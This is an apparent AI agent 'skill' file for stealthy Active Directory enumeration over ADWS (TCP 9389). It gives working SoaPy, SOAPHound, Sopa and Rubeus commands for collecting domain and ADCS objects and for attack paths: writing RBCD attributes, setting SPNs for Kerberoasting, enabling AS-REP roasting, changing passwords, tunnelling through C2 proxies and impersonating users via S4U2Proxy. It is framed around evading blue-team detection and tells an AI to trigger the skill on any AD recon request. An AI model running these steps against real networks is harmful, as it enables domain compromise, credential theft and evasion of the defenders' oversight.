Hacktricks-skills adws-enumeration
Active Directory Web Services (ADWS) enumeration and stealth collection over TCP 9389. Use this skill whenever the user needs to enumerate Active Directory, collect domain objects, perform LDAP-style queries, or gather BloodHound data in a stealthy manner. Trigger for AD recon, domain enumeration, ADCS collection, RBCD operations, or any scenario where traditional LDAP (389/636) might be monitored or filtered. Also use when the user mentions ADWS, port 9389, SoaPy, SOAPHound, or wants to enumerate AD from non-Windows hosts.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/windows-hardening/active-directory-methodology/adws-enumeration/SKILL.MDADWS Enumeration & Stealth Collection
Active Directory Web Services (ADWS) provides a stealthy alternative to traditional LDAP enumeration. ADWS is enabled by default on every Domain Controller since Windows Server 2008 R2 and listens on TCP 9389. Traffic is encapsulated in proprietary .NET framing protocols, making it less likely to be inspected or signatured than classic LDAP traffic.
Why Use ADWS?
- Stealthier recon – Blue teams often concentrate on LDAP queries on ports 389/636
- Cross-platform – Collect from Linux/macOS hosts by tunneling 9389/TCP through SOCKS
- Same data as LDAP – Users, groups, ACLs, schema, security descriptors
- Write operations – Can modify attributes like
for RBCDmsDs-AllowedToActOnBehalfOfOtherIdentity - Blends with admin traffic – Many RSAT GUI/PowerShell tools use ADWS
Available Tools
SoaPy (Python)
Full re-implementation of the ADWS protocol stack in pure Python. Best for targeted collection and write operations.
Installation:
python3 -m pip install soapy-adws
Basic enumeration:
soapy domain.local/user:password@dc.domain.local --users soapy domain.local/user:password@dc.domain.local --computers soapy domain.local/user:password@dc.domain.local --groups
Targeted collection flags:
– Find service principal names for Kerberoasting--spns
– Find accounts vulnerable to AS-REP roasting--asreproastable
– Find admin accounts--admins
/--constrained
– Find delegation configurations--unconstrained
– Find RBCD-capable objects--rbcds
Custom queries:
soapy domain.local/user:password@dc.domain.local \ -q '(objectClass=user)' \ -f samAccountName,servicePrincipalName \ --parse
Write operations:
# Set RBCD attribute soapy domain.local/user:password@dc.domain.local \ --set 'CN=Victim,OU=Servers,DC=domain,DC=local' \ msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....' # Set SPN for Kerberoasting soapy domain.local/user:password@dc.domain.local \ --spn 'HTTP/webserver' 'CN=Target,OU=Users,DC=domain,DC=local' # Enable AS-REP roasting soapy domain.local/user:password@dc.domain.local \ --asrep 'CN=Target,OU=Users,DC=domain,DC=local'
Proxy support (for C2 implants):
export HTTPS_PROXY=socks5://127.0.0.1:1080 soapy domain.local/user:password@dc.domain.local --users
SOAPHound (.NET)
High-volume ADWS collector that outputs BloodHound v4-compatible JSON. Best for complete domain dumps.
Build cache (required for large forests):
SOAPHound.exe --buildcache -c C:\temp\corp-cache.json
BloodHound collection:
SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \ --autosplit --threshold 1200 --nolaps \ -o C:\temp\BH-output
ADCS and DNS enrichment:
SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot
ADWSDomainDump
Fork of ldapdomaindump that uses ADWS instead of LDAP.
Installation:
pipx install .
Usage:
adwsdomaindump -u 'domain\user' -p 'password' -n 10.10.10.1 dc.domain.local
Sopa (Golang)
Generic ADWS client with full object lifecycle management.
Common operations:
# Search objects sopa query -u user -p password -d domain.local -q '(objectClass=user)' # Get specific object sopa get -u user -p password -d domain.local -dn 'CN=Target,DC=domain,DC=local' # Create user sopa create user -u user -p password -d domain.local -n 'NewUser' -ou 'OU=Users,DC=domain,DC=local' # Modify attributes sopa attr replace -u user -p password -d domain.local \ -dn 'CN=Target,DC=domain,DC=local' \ -a 'servicePrincipalName' -v 'HTTP/webserver' # Change password sopa set-password -u user -p password -d domain.local \ -dn 'CN=Target,DC=domain,DC=local' -new 'NewPassword123!'
Stealth Collection Workflow
Follow this workflow to enumerate domain and ADCS objects over ADWS and convert to BloodHound format:
Step 1: Tunnel to Port 9389
From your operator host, establish a tunnel to the target network:
# Using Chisel chisel client <relay-ip>:8000 local:9389:10.2.10.10:9389 # Or SSH dynamic port forward ssh -D 1080 user@jumpbox export HTTPS_PROXY=socks5://127.0.0.1:1080
Step 2: Collect Domain Objects
soapy domain.local/user:password@10.2.10.10 \ -q '(objectClass=domain)' \ | tee data/domain.log
Step 3: Collect ADCS Objects
soapy domain.local/user:password@10.2.10.10 \ -dn 'CN=Configuration,DC=domain,DC=local' \ -q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \ (objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \ | tee data/adcs.log
Step 4: Convert to BloodHound
bofhound -i data --zip
Step 5: Analyze in BloodHound
Upload the ZIP to BloodHound and run queries like:
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c
Important Considerations
EnumerationContext Timeout
ADWS contexts age out after ~30 minutes. For large forests:
- Use SOAPHound's
to shard queries by CN prefix--autosplit - Split custom queries into smaller batches
- Page results with
messages if using raw ADWSPull
Security Descriptors
When requesting
nTSecurityDescriptor, specify the LDAP_SERVER_SD_FLAGS_OID control to omit SACLs, otherwise ADWS drops the attribute.
Tool Selection Guide
| Use Case | Recommended Tool |
|---|---|
| Quick targeted queries | SoaPy |
| Complete domain dump | SOAPHound |
| Write operations | SoaPy or Sopa |
| BloodHound integration | SOAPHound + BOFHound |
| Cross-platform (Linux/macOS) | SoaPy |
| Windows-only high-volume | SOAPHound |
| Object lifecycle management | Sopa |
Common Attack Paths
Resource-Based Constrained Delegation (RBCD)
-
Find RBCD-capable objects:
soapy domain.local/user:password@dc.domain.local --rbcds -
Set the RBCD attribute:
soapy domain.local/user:password@dc.domain.local \ --set 'CN=Victim,OU=Servers,DC=domain,DC=local' \ msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....' -
Execute S4U2Proxy attack with Rubeus:
Rubeus.exe s4u /user:attacker /rc4:hash /impersonateuser:victim /msdsspn:HTTP/webserver /autodomain
Kerberoasting
-
Find accounts with SPNs:
soapy domain.local/user:password@dc.domain.local --spns -
Request TGS tickets and crack offline.
AS-REP Roasting
-
Find accounts without pre-auth:
soapy domain.local/user:password@dc.domain.local --asreproastable -
Request AS-REP and crack offline.